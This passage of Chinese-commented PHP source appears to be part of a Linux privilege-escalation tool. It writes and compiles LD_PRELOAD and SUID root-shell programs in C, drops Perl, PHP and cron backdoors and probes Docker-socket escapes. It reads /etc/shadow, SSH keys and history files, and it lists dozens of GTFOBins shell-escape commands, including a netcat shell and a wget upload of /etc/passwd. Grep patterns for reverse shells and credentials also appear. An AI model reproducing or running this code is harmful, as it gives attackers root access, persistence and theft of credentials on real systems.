// 创建C源代码
$cCode = '
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}';
// 写入源代码文件
if (file_put_contents('/tmp/malicious.c', $cCode) !== false) {
// 编译为共享库
list($output, $code) = $this->executeCommand('gcc -fPIC -shared -o /tmp/malicious.so /tmp/malicious.c -nostartfiles 2>/dev/null');
if ($code === 0) {
$this->printSuccess("恶意共享库创建成功: /tmp/malicious.so");
$this->printInfo("使用方法: LD_PRELOAD=/tmp/malicious.so 某个SUID程序");
}
}
}
// 新增:检查/tmp目录中的shell文件
private function checkTmpShellFiles() {
$this->printInfo("检查/tmp目录中的shell文件...");
// 用户提到的特定文件
$shellFiles = ['/tmp/bash', '/tmp/sh'];
foreach ($shellFiles as $file) {
if ($this->checkFileExists($file)) {
$this->printDanger("发现用户提到的文件: $file");
// 获取文件详细信息
list($fileInfo, $code) = $this->executeCommand('ls -l "' . $file . '" 2>/dev/null');
if (is_array($fileInfo) && !empty($fileInfo)) {
$this->printInfo("文件权限: " . $fileInfo[0]);
}
// 检查文件类型
list($fileType, $code) = $this->executeCommand('file "' . $file . '" 2>/dev/null');
if (is_array($fileType) && !empty($fileType)) {
$this->printInfo("文件类型: " . $fileType[0]);
}
// 检查文件内容
list($fileContent, $code) = $this->executeCommand('head -10 "' . $file . '" 2>/dev/null');
if (is_array($fileContent) && !empty($fileContent)) {
$this->printInfo("文件内容(前10行): ");
foreach ($fileContent as $line) {
$this->printInfo(" " . $line);
}
}
// 特别处理用户提到的问题:运行时没有输出
$this->tryExecuteSilentFile($file);
}
}
}
// 新增:尝试执行没有输出的文件
private function tryExecuteSilentFile($file) {
$this->printInfo("尝试执行文件 $file (解决无输出问题)...");
// 方法1: 使用strace跟踪系统调用
list($straceCheck, $code) = $this->executeCommand('which strace 2>/dev/null');
if (is_array($straceCheck) && !empty($straceCheck)) {
$this->printInfo("使用strace跟踪系统调用...");
list($output, $code) = $this->executeCommand('strace -f "' . $file . '" 2>&1 | head -20');
if (is_array($output) && !empty($output)) {
$this->printInfo("strace输出:");
foreach ($output as $line) {
$this->printInfo(" " . $line);
}
}
}
// 方法2: 使用重定向捕获所有输出
list($output, $code) = $this->executeCommand('"' . $file . '" > /tmp/exec_output.txt 2>&1; cat /tmp/exec_output.txt');
if (is_array($output) && !empty($output)) {
$this->printInfo("执行输出:");
foreach ($output as $line) {
$this->printInfo(" " . $line);
}
} else {
$this->printWarning("文件执行后无输出");
}
// 方法3: 检查文件是否被定时清理
$this->checkFileCleanup($file);
}
// 新增:检查文件是否被定时清理
private function checkFileCleanup($file) {
$this->printInfo("检查文件 $file 是否被定时清理...");
// 检查是否有定时任务清理/tmp目录
list($cronJobs, $code) = $this->executeCommand('crontab -l 2>/dev/null | grep -i tmp');
if (is_array($cronJobs) && !empty($cronJobs)) {
$this->printWarning("发现清理/tmp目录的定时任务:");
foreach ($cronJobs as $job) {
$this->printInfo(" " . $job);
}
}
// 检查系统级清理任务
list($systemCleanup, $code) = $this->executeCommand('find /etc/cron.* -name "*tmp*" -o -name "*clean*" 2>/dev/null');
if (is_array($systemCleanup) && !empty($systemCleanup)) {
$this->printWarning("发现系统级清理任务:");
foreach ($systemCleanup as $cleanup) {
$this->printInfo(" " . $cleanup);
}
}
// 检查是否有tmpwatch或tmpreaper等工具
$cleanupTools = ['tmpwatch', 'tmpreaper', 'clean-tmp'];
foreach ($cleanupTools as $tool) {
list($check, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($check) && !empty($check)) {
$this->printWarning("发现临时文件清理工具: $tool");
}
}
}
// 新增:高级/tmp目录文件分析
private function advancedTmpFileAnalysis() {
$this->printInfo("高级/tmp目录文件分析...");
// 1. 检查/tmp目录中的可执行文件
list($executables, $code) = $this->executeCommand('find /tmp -type f -executable 2>/dev/null | head -10');
if (is_array($executables) && !empty($executables)) {
$this->printWarning("在/tmp目录中发现可执行文件:");
foreach ($executables as $file) {
$this->printInfo(" " . $file);
// 获取文件信息
list($fileInfo, $code) = $this->executeCommand('ls -l "' . $file . '" 2>/dev/null');
if (is_array($fileInfo) && !empty($fileInfo)) {
$this->printInfo(" 权限: " . $fileInfo[0]);
}
// 检查文件是否最近被修改
list($fileTime, $code) = $this->executeCommand('stat -c %Y "' . $file . '" 2>/dev/null');
if (is_array($fileTime) && !empty($fileTime)) {
$timestamp = (int)$fileTime[0];
$currentTime = time();
if (($currentTime - $timestamp) < 3600) { // 1小时内
$this->printDanger(" 文件最近被修改(1小时内): " . date('Y-m-d H:i:s', $timestamp));
}
}
}
}
// 2. 检查/tmp目录中的隐藏文件
list($hiddenFiles, $code) = $this->executeCommand('find /tmp -name ".*" -type f 2>/dev/null | head -10');
if (is_array($hiddenFiles) && !empty($hiddenFiles)) {
$this->printWarning("在/tmp目录中发现隐藏文件:");
foreach ($hiddenFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 3. 检查/tmp目录中的符号链接
list($symlinks, $code) = $this->executeCommand('find /tmp -type l 2>/dev/null | head -10');
if (is_array($symlinks) && !empty($symlinks)) {
$this->printWarning("在/tmp目录中发现符号链接:");
foreach ($symlinks as $link) {
// 获取符号链接指向的目标
list($target, $code) = $this->executeCommand('readlink "' . $link . '" 2>/dev/null');
if (is_array($target) && !empty($target)) {
$this->printInfo(" " . $link . " -> " . $target[0]);
// 检查是否指向敏感文件
$sensitiveTargets = ['/etc/passwd', '/etc/shadow', '/root/', '/home/'];
foreach ($sensitiveTargets as $sensitive) {
if (strpos($target[0], $sensitive) !== false) {
$this->printDanger(" 符号链接指向敏感目标: " . $target[0]);
}
}
}
}
}
// 4. 检查/tmp目录中的最近文件
list($recentFiles, $code) = $this->executeCommand('find /tmp -type f -mtime -1 2>/dev/null | head -10');
if (is_array($recentFiles) && !empty($recentFiles)) {
$this->printInfo("最近(24小时内)在/tmp目录中创建的文件:");
foreach ($recentFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 5. 检查/tmp目录中的可疑内容
$this->checkTmpSuspiciousContent();
}
// 新增:检查/tmp目录中的可疑内容
private function checkTmpSuspiciousContent() {
$this->printInfo("检查/tmp目录中的可疑内容...");
// 搜索包含敏感关键词的文件
$keywords = ['password', 'secret', 'key', 'token', 'credential', 'root'];
foreach ($keywords as $keyword) {
list($files, $code) = $this->executeCommand('grep -rl "' . $keyword . '" /tmp 2>/dev/null | head -5');
if (is_array($files) && !empty($files)) {
$this->printDanger("发现包含关键词 '$keyword' 的文件:");
foreach ($files as $file) {
$this->printInfo(" " . $file);
// 显示匹配的行
list($content, $code) = $this->executeCommand('grep -n "' . $keyword . '" "' . $file . '" 2>/dev/null | head -3');
if (is_array($content) && !empty($content)) {
foreach ($content as $line) {
$this->printInfo(" " . $line);
}
}
}
}
}
// 检查可能的反弹shell代码
list($shellFiles, $code) = $this->executeCommand('grep -rl "bash.*>&.*0>&1" /tmp 2>/dev/null | head -3');
if (is_array($shellFiles) && !empty($shellFiles)) {
$this->printDanger("发现可能的反弹shell代码:");
foreach ($shellFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 检查可能的base64编码内容
list($base64Files, $code) = $this->executeCommand('grep -rl "[^a-zA-Z0-9+/]\{20,\}" /tmp 2>/dev/null | head -3');
if (is_array($base64Files) && !empty($base64Files)) {
$this->printWarning("发现可能的base64编码内容:");
foreach ($base64Files as $file) {
$this->printInfo(" " . $file);
}
}
}
// 在checkLdPreloadExploitation方法中添加创建恶意库的功能
private function checkLdPreloadExploitation() {
$this->printInfo("检查LD_PRELOAD利用可能性...");
// 检查LD_PRELOAD环境变量
$ldPreload = getenv('LD_PRELOAD');
if (!empty($ldPreload)) {
$this->printDanger("LD_PRELOAD环境变量设置: $ldPreload");
}
// 检查/etc/ld.so.preload文件
if (file_exists('/etc/ld.so.preload')) {
if (is_writable('/etc/ld.so.preload')) {
$this->printDanger("/etc/ld.so.preload文件可写");
}
// 读取文件内容
list($content, $code) = $this->executeCommand('cat /etc/ld.so.preload 2>/dev/null');
if (is_array($content) && !empty($content)) {
$this->printWarning("/etc/ld.so.preload内容:");
foreach ($content as $line) {
$this->printInfo(" $line");
}
}
}
// 检查是否有编译器可用于创建恶意共享库
list($gcc, $code) = $this->executeCommand('which gcc 2>/dev/null');
if (is_array($gcc) && !empty($gcc)) {
$this->printInfo("可以创建恶意共享库用于LD_PRELOAD利用");
// 创建恶意库
$this->createMaliciousLibrary();
}
}
// 新增:检查可利用的环境变量
private function checkExploitableEnvVars() {
$this->printInfo("检查可利用的环境变量...");
// 常见可利用的环境变量
$exploitableVars = [
'PATH' => '可能导致命令劫持',
'LD_PRELOAD' => '可加载恶意共享库',
'LD_LIBRARY_PATH' => '可加载恶意库文件',
'PYTHONPATH' => '可劫持Python库',
'PERLLIB' => '可劫持Perl库',
'PERL5LIB' => '可劫持Perl库',
'BASH_ENV' => '可在非交互式shell中执行代码',
'PS1' => '可能包含恶意代码',
'PROMPT_COMMAND' => '每次命令执行前运行'
];
foreach ($exploitableVars as $var => $desc) {
$value = getenv($var);
if (!empty($value)) {
$this->printWarning("环境变量 $var: $value ($desc)");
}
}
}
// 新增:检查可利用的定时任务服务
private function checkExploitableCronServices() {
$this->printInfo("检查可利用的定时任务服务...");
// 检查at命令
list($at, $code) = $this->executeCommand('which at 2>/dev/null');
if (is_array($at) && !empty($at)) {
$this->printWarning("发现at命令: 可用于计划任务执行");
}
// 检查anacron
list($anacron, $code) = $this->executeCommand('which anacron 2>/dev/null');
if (is_array($anacron) && !empty($anacron)) {
$this->printInfo("发现anacron: " . $anacron[0]);
}
// 检查systemd定时器
list($timers, $code) = $this->executeCommand('systemctl list-timers 2>/dev/null | head -10');
if (is_array($timers) && !empty($timers)) {
$this->printInfo("发现systemd定时器:");
foreach (array_slice($timers, 1, -1) as $timer) { // 跳过标题和结尾
$this->printInfo(" $timer");
}
}
}
// 新增:检查可用工具
private function toolsExploitation() {
$this->printInfo("=== 可用工具利用 ===");
// 根据信息.txt,重点检查perl和php
$tools = [
'python' => 'python -c "import os; print(os.system(\'whoami\'))"',
'python3' => 'python3 -c "import os; print(os.system(\'whoami\'))"',
'perl' => 'perl -e "system(\'whoami\')"', // 信息.txt中发现可用
'php' => 'php -r "system(\'whoami\');"', // 信息.txt中发现可用
'gcc' => 'echo成功',
'nc' => 'nc -zv 127.0.0.1 22',
'netcat' => 'netcat -zv 127.0.0.1 22',
'curl' => 'curl -I http://127.0.0.1',
'wget' => 'wget --spider http://127.0.0.1',
'bash' => 'bash --version',
'sh' => 'sh --version'
];
foreach ($tools as $tool => $testCmd) {
list($output, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printSuccess("可用: $tool -> {$output[0]}");
// 测试工具是否工作
if ($tool != 'gcc') {
list($testOut, $testCode) = $this->executeCommand($testCmd);
if ($testCode === 0) {
$this->printInfo(" $tool 测试成功");
// 对于perl和php,提供专门的提权方法
if ($tool === 'perl') {
$this->tryPerlExploit();
} elseif ($tool === 'php') {
$this->tryPhpExploit();
}
// 对于可以用于反弹shell的工具,提供相关建议
$reverseShellTools = ['nc', 'netcat', 'bash', 'sh', 'python', 'python3', 'perl', 'php'];
if (in_array($tool, $reverseShellTools)) {
$this->printInfo(" $tool 可用于创建反弹shell");
}
}
}
}
}
echo "\n";
}
// 新增:Perl提权利用
private function tryPerlExploit() {
$this->printInfo("尝试Perl提权利用...");
// 创建Perl后门
$perlBackdoor = '
#!/usr/bin/perl
use POSIX qw(setuid setgid);
setuid(0);
setgid(0);
exec("/bin/bash");
';
if (file_put_contents('/tmp/perl_backdoor.pl', $perlBackdoor) !== false) {
chmod('/tmp/perl_backdoor.pl', 0755);
$this->printSuccess("Perl后门创建成功: /tmp/perl_backdoor.pl");
}
}
// 新增:PHP提权利用
private function tryPhpExploit() {
$this->printInfo("尝试PHP提权利用...");
// 创建PHP后门
$phpBackdoor = '<?php
system("whoami");
// SUID提权
if(file_exists("/usr/bin/base64")) {
echo "发现base64,可用于提权\n";
}
?>';
if (file_put_contents('/tmp/php_backdoor.php', $phpBackdoor) !== false) {
$this->printSuccess("PHP后门创建成功: /tmp/php_backdoor.php");
}
}
// 在dockerExploitation方法中添加更详细的检查
// 在checkDockerEscapes方法中添加更详细的检查
private function checkDockerEscapes() {
// 检查特权模式
list($output, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($output) && !empty($output)) {
$capEff = $output[0];
if (strpos($capEff, '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
}
}
// 检查挂载点
list($output, $code) = $this->executeCommand('mount | grep -v proc | grep -v sys | grep -v tmpfs');
if (is_array($output) && !empty($output)) {
$this->printInfo("挂载点:");
foreach ($output as $line) {
if (strpos($line, '/host') !== false || strpos($line, '/mnt') !== false) {
$this->printWarning("可疑挂载: $line");
}
}
}
// 检查cgroup
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
}
}
// 新增:Apache特定提权检查
private function checkApacheExploitation() {
$this->printInfo("检查Apache特定提权向量...");
// 检查Apache配置文件
$apacheConfigs = [
'/etc/apache2/apache2.conf',
'/etc/httpd/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf'
];
foreach ($apacheConfigs as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("Apache配置文件可写: $config");
}
}
// 检查Apache模块
list($modules, $code) = $this->executeCommand('apache2ctl -M 2>/dev/null');
if (is_array($modules) && !empty($modules)) {
$this->printInfo("Apache模块信息:");
$modulesToShow = array_slice($modules, 0, 10);
foreach ($modulesToShow as $module) {
$this->printInfo(" $module");
// 检查危险模块
if (strpos($module, 'php') !== false) {
$this->printWarning("Apache加载了PHP模块,可尝试PHP相关利用");
}
}
}
// 检查log文件
$logFiles = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log'
];
foreach ($logFiles as $log) {
if (file_exists($log) && is_writable($log)) {
$this->printWarning("Apache日志文件可写: $log");
}
}
}
private function createCronBackdoor($dir) {
$cronFile = "$dir/exploit";
$cronContent = "* * * * * root /bin/bash -c 'whoami > /tmp/cron_test 2>&1'\n";
if (file_put_contents($cronFile, $cronContent) !== false) {
$this->printSuccess("计划任务后门创建成功: $cronFile");
}
}
private function tryDockerEscape() {
// 尝试通过Docker socket逃逸
$commands = [
'curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/json',
'echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock'
];
foreach ($commands as $cmd) {
list($output, $code) = $this->executeCommand($cmd);
if (is_array($output) && !empty($output)) {
$this->printSuccess("Docker API响应成功");
break;
}
}
}
// 新增:等待用户确认使用预编译程序
private function waitForUserConfirmation($exploitName, $targetDir) {
$this->printWarning("发现预编译的 $exploitName 利用程序");
$this->printInfo("请确认您已上传预编译程序到 $targetDir/nday/ 目录");
$this->printInfo("上传完成后,请输入 'yes' 继续执行,或输入 'no' 跳过此利用程序:");
// 读取用户输入
$handle = fopen("php://stdin", "r");
$response = trim(fgets($handle));
fclose($handle);
if (strtolower($response) === 'yes' || strtolower($response) === 'y') {
$this->printSuccess("用户确认,继续执行 $exploitName 利用程序");
return true;
} else {
$this->printInfo("用户取消执行 $exploitName 利用程序");
return false;
}
}
private function capabilitiesExploitation() {
$this->printInfo("=== Linux Capabilities利用 ===");
list($output, $code) = $this->executeCommand('getcap -r / 2>/dev/null');
if (is_array($output) && !empty($output)) {
$dangerousCaps = [
'cap_dac_read_search' => '绕过文件读权限',
'cap_dac_override' => '绕过文件写权限',
'cap_sys_admin' => '系统管理权限',
'cap_sys_ptrace' => '调试其他进程',
'cap_sys_module' => '加载内核模块'
];
foreach ($output as $line) {
if (is_string($line)) {
$this->printWarning("特殊能力: $line");
foreach ($dangerousCaps as $cap => $desc) {
if (strpos($line, $cap) !== false) {
$this->printDanger("危险能力: $cap - $desc");
// 提取文件路径
if (preg_match('/(\/[^\s]+)/', $line, $matches)) {
$file = $matches[1];
$this->tryCapabilityExploit($file, $cap);
}
}
}
}
}
} else {
$this->printInfo("未发现特殊capabilities或getcap不可用");
}
echo "\n";
}
private function tryCapabilityExploit($file, $capability) {
$exploits = [
'cap_dac_read_search' => "$file /etc/shadow",
'cap_dac_override' => "$file /etc/passwd",
'cap_sys_ptrace' => "检查是否可以调试进程"
];
if (isset($exploits[$capability])) {
$this->printInfo("尝试利用 $capability: {$exploits[$capability]}");
}
// 特殊处理cap_dac_read_search,可以直接读取敏感文件
if ($capability === 'cap_dac_read_search') {
$sensitiveFiles = ['/etc/shadow', '/etc/passwd', '/root/.ssh/id_rsa'];
foreach ($sensitiveFiles as $targetFile) {
if (file_exists($targetFile)) {
list($output, $code) = $this->executeCommand("$file $targetFile 2>/dev/null | head -5");
if (is_array($output) && !empty($output)) {
$this->printSuccess("利用cap_dac_read_search读取".$targetFile."成功:");
foreach ($output as $line) {
echo " $line\n";
}
}
}
}
}
}
private function miscExploitation() {
$this->printInfo("=== 其他提权向量 ===");
// 检查SSH密钥
$sshFiles = ['/root/.ssh/id_rsa', '/home/*/.ssh/id_rsa', '/etc/ssh/ssh_host_rsa_key'];
foreach ($sshFiles as $pattern) {
list($files, $code) = $this->executeCommand("ls $pattern 2>/dev/null");
if (is_array($files)) {
foreach ($files as $file) {
if (is_readable($file)) {
$this->printWarning("SSH密钥可读: $file");
}
}
}
}
// 检查历史文件
$historyFiles = [
'/root/.bash_history',
'/home/*/.bash_history',
'/var/log/auth.log',
'/var/log/secure'
];
foreach ($historyFiles as $pattern) {
list($files, $code) = $this->executeCommand("ls $pattern 2>/dev/null");
if (is_array($files)) {
foreach ($files as $file) {
if (is_readable($file)) {
$this->printInfo("历史文件可读: $file");
list($content, $code) = $this->executeCommand("tail -5 $file");
if (is_array($content) && !empty($content)) {
$this->printInfo(" 最近内容:");
foreach ($content as $line) {
echo " $line\n";
}
}
}
}
}
}
echo "\n";
}
// 新增:高级利用方法
private function advancedExploitation() {
$this->printInfo("=== 高级提权技术 ===");
// 检查是否有编译器可用于创建SUID二进制文件
$compilers = ['gcc', 'cc', 'g++'];
$compilerFound = null;
foreach ($compilers as $compiler) {
list($output, $code) = $this->executeCommand("which $compiler 2>/dev/null");
if (is_array($output) && !empty($output)) {
$compilerFound = $compiler;
$this->printSuccess("发现编译器: $compiler");
break;
}
}
// 如果找到编译器,尝试创建SUID二进制文件
if ($compilerFound) {
$this->tryCreateSuidBinary($compilerFound);
}
// 检查定时任务写入点
$this->checkWritableCron();
// 检查系统服务覆盖
$this->checkServiceOverwrite();
// 检查GTFOBins中列出的可利用程序
$this->checkGtfobinsExploits();
// 检查容器逃逸可能性
$this->checkContainerEscapes();
// 检查内核模块加载权限
$this->checkKernelModulePermissions();
echo "\n";
}
// 新增:尝试创建SUID二进制文件
private function tryCreateSuidBinary($compiler) {
$this->printInfo("尝试创建SUID二进制文件...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行SUID利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday/suid_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
// 复制预编译程序到目标位置
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
// 创建C源代码
$cCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
// 设置SUID位
if (chmod("/tmp/rootshell", 04755) != 0) {
printf("无法设置SUID位\n");
return 1;
}
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}';
// 写入源代码文件到可写目录
$sourcePath = $writableDir . '/rootshell.c';
if (file_put_contents($sourcePath, $cCode) !== false) {
// 编译
$binaryPath = $writableDir . '/rootshell';
list($output, $code) = $this->executeCommand("$compiler $sourcePath -o $binaryPath 2>/dev/null");
if ($code === 0) {
// 设置SUID位
list($output, $code) = $this->executeCommand("chmod 4755 $binaryPath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID二进制文件创建成功: $binaryPath");
$this->printInfo("使用方法: $binaryPath");
} else {
// 尝试在程序内部设置SUID位
$this->printInfo("尝试在程序内部设置SUID位...");
$this->printSuccess("SUID二进制文件创建成功: $binaryPath");
$this->printInfo("使用方法: 运行后自动获取root权限");
}
} else {
$this->printWarning("SUID二进制文件编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printSuccess("使用预编译的SUID利用程序");
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
// 尝试更简单的版本
$simpleCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}';
$simpleSourcePath = $writableDir . '/simple.c';
if (file_put_contents($simpleSourcePath, $simpleCode) !== false) {
$simpleBinaryPath = $writableDir . '/simple';
list($output, $code) = $this->executeCommand("$compiler $simpleSourcePath -o $simpleBinaryPath 2>/dev/null");
if ($code === 0) {
list($output, $code) = $this->executeCommand("chmod 4755 $simpleBinaryPath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("简单SUID二进制文件创建成功: $simpleBinaryPath");
$this->printInfo("使用方法: $simpleBinaryPath");
}
} else {
$this->printWarning("简单SUID二进制文件编译失败,检查预编译程序");
$simpleExploitPath = $writableDir . '/nday/simple_suid';
if (file_exists($simpleExploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("简单SUID", $writableDir)) {
$this->printSuccess("使用预编译的简单SUID程序");
copy($simpleExploitPath, $simpleBinaryPath);
chmod($simpleBinaryPath, 04755);
$this->printSuccess("简单SUID二进制文件已部署: $simpleBinaryPath");
return true;
} else {
return false;
}
}
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建SUID源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printSuccess("使用预编译的SUID利用程序");
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
}
}
// 新增:检查可写的定时任务
private function checkWritableCron() {
$this->printInfo("检查可写的定时任务...");
// 检查用户cron文件是否可写
$userCronFile = '/var/spool/cron/crontabs/' . $this->currentUser;
if (file_exists($userCronFile) && is_writable($userCronFile)) {
$this->printDanger("用户cron文件可写: $userCronFile");
$this->printInfo("可以添加定时任务实现持久化");
}
// 检查系统cron目录是否可写
$systemCronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily'];
foreach ($systemCronDirs as $dir) {
if (is_writable($dir)) {
$this->printDanger("系统cron目录可写: $dir");
$this->printInfo("可以添加系统级定时任务");
}
}
}
// 新增:检查可覆盖的系统服务
private function checkServiceOverwrite() {
$this->printInfo("检查可覆盖的系统服务...");
// 检查systemd服务文件
list($services, $code) = $this->executeCommand("find /etc/systemd/system /lib/systemd/system -name '*.service' 2>/dev/null | head -10");
if (is_array($services)) {
foreach ($services as $service) {
if (is_writable($service)) {
$this->printDanger("服务文件可写: $service");
$this->printInfo("可以修改服务配置实现提权");
}
}
}
}
// 新增:检查GTFOBins可利用程序
private function checkGtfobinsExploits() {
$this->printInfo("检查GTFOBins可利用程序...");
// 常见的GTFOBins程序列表
$gtfobins = [
'awk' => 'awk \'BEGIN {system(\"/bin/sh\")}\'',
'bash' => 'bash -p',
'busybox' => 'busybox sh',
'cat' => 'cat /etc/passwd', // 示例读取文件
'chmod' => 'chmod 4755 /tmp/sh', // 示例设置SUID
'cp' => 'cp /bin/sh /tmp/sh && chmod +s /tmp/sh',
'crontab' => 'crontab -e', // 可用于编辑计划任务
'curl' => 'curl file:///etc/passwd', // 示例读取文件
'cut' => 'cut -d "" -f 1 /etc/passwd', // 示例读取文件
'dash' => 'dash -p',
'diff' => 'diff /dev/null /etc/passwd', // 示例读取文件
'dmsetup' => 'dmsetup ls', // 可用于执行命令
'dnf' => 'dnf install package', // 需要root权限
'docker' => 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh',
'dpkg' => 'dpkg -l', // 可用于执行命令
'ed' => 'ed file', // 可用于编辑文件
'emacs' => 'emacs -Q -nw --eval \'(term \"/bin/sh\")\'',
'env' => 'env /bin/sh',
'expand' => 'expand /etc/passwd', // 示例读取文件
'expect' => 'expect -c \'spawn /bin/sh; interact\'',
'find' => 'find . -exec /bin/sh \\; -quit',
'flock' => 'flock -u / /bin/sh',
'fmt' => 'fmt -999 /etc/passwd', // 示例读取文件
'fold' => 'fold -w 999 /etc/passwd', // 示例读取文件
'ftp' => 'ftp> !/bin/sh',
'gawk' => 'gawk \'BEGIN {system(\"/bin/sh\")}\'',
'gdb' => 'gdb -nx -ex \'!sh\' -ex quit',
'git' => 'git help status -> !/bin/sh',
'head' => 'head -n 10 /etc/passwd', // 示例读取文件
'ionice' => 'ionice /bin/sh',
'jq' => 'jq \'.\' /etc/passwd', // 示例读取文件
'less' => 'less /etc/passwd -> !/bin/sh',
'lua' => 'lua -e \'os.execute(\"/bin/sh\")\'',
'make' => 'make -s --eval=$\'x:\\n\\t-\'"/bin/sh"',
'man' => 'man ls -> !/bin/sh',
'more' => 'more /etc/passwd -> !/bin/sh',
'mv' => 'mv /bin/sh /tmp/sh && mv /tmp/sh /bin/sh',
'mysql' => 'mysql -e \'\\! /bin/sh\'',
'nano' => 'nano -> ^R^X -> reset; sh 1>&0 2>&0',
'nawk' => 'nawk \'BEGIN {system(\"/bin/sh\")}\'',
'nc' => 'nc -e /bin/sh 127.0.0.1 4444',
'nmap' => 'nmap --interactive -> !sh',
'node' => 'node -e \'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})\'',
'od' => 'od -An -c /etc/passwd', // 示例读取文件
'perl' => 'perl -e \'exec \"/bin/sh\";\'',
'pg' => 'pg /etc/passwd -> !/bin/sh',
'php' => 'php -r \'system(\"/bin/sh\");\'',
'pic' => 'pic -U -> .PS\\nsh X sh\\n.PE -> sh',
'pico' => 'pico -> ^R^X -> reset; sh 1>&0 2>&0',
'pr' => 'pr -T /etc/passwd', // 示例读取文件
'python' => 'python -c \'import os; os.system(\"/bin/sh\")\'',
'python3' => 'python3 -c \'import os; os.system(\"/bin/sh\")\'',
'rlwrap' => 'rlwrap /bin/sh',
'rpm' => 'rpm --eval \'%{lua:os.execute(\"/bin/sh\")}\'',
'rpmquery' => 'rpmquery --eval \'%{lua:os.execute(\"/bin/sh\")}\'',
'rsync' => 'rsync -e \'sh -c \"sh 0<&2 1>&2\"\' 127.0.0.1:/dev/null',
'ruby' => 'ruby -e \'exec \"/bin/sh\"\'',
'run-parts' => 'run-parts --new-session --regex \'^sh$\' /bin',
'rvim' => 'rvim -> :py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',
'scp' => 'scp -S /tmp/sh 127.0.0.1:/etc/passwd .',
'sed' => 'sed -n \'1p\' /etc/passwd', // 示例读取文件
'setarch' => 'setarch $(uname -m) /bin/sh',
'sort' => 'sort -k1 /etc/passwd', // 示例读取文件
'sqlite3' => 'sqlite3 /dev/null \'.shell /bin/sh\'',
'ssh' => 'ssh username@host -> !/bin/sh',
'stdbuf' => 'stdbuf -i0 /bin/sh',
'strace' => 'strace -o /dev/null /bin/sh',
'tail' => 'tail -n 10 /etc/passwd', // 示例读取文件
'tar' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
'taskset' => 'taskset 1 /bin/sh',
'tclsh' => 'tclsh -> exec /bin/sh <@stdin >@stdout 2>@stderr',
'tee' => 'tee /tmp/sh < /bin/sh && chmod +x /tmp/sh',
'telnet' => 'telnet 127.0.0.1 4444 | /bin/sh | telnet 127.0.0.1 4445',
'tftp' => 'tftp 127.0.0.1 -> put /etc/passwd',
'time' => 'time /bin/sh',
'timeout' => 'timeout 7d /bin/sh',
'ul' => 'ul /etc/passwd', // 示例读取文件
'unexpand' => 'unexpand /etc/passwd', // 示例读取文件
'uniq' => 'uniq /etc/passwd', // 示例读取文件
'unshare' => 'unshare /bin/sh',
'vim' => 'vim -> :py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',
'watch' => 'watch -x sh -c \'reset; exec sh 1>&0 2>&0\'',
'wget' => 'wget --post-file=/etc/passwd 127.0.0.1:8080',
'xargs' => 'xargs -I _ sh -c \'exec sh\' _',
'xxd' => 'xxd /etc/passwd', // 示例读取文件
'zip' => 'zip /tmp/test.zip /etc/passwd -> unzip -> !/bin/sh'
];
// 检查系统中是否存在这些程序
foreach ($gtfobins as $program => $example) {
list($output, $code) = $this->executeCommand("which $program 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printWarning("发现GTFOBins程序: $program -> {$output[0]}");
// 对于一些特别危险的程序,标记为危险
$dangerous = ['awk', 'bash', 'find', 'perl', 'python', 'python3', 'php', 'vim', 'rvim', 'nmap', 'git'];
if (in_array($program, $dangerous)) {
$this->printDanger(" 危险程序 $program 可用于提权");
}
}
}
}
// 新增:检查容器逃逸可能性
private function checkContainerEscapes() {
$this->printInfo("检查容器逃逸可能性...");
// 检查是否在容器中
if (file_exists('/.dockerenv')) {
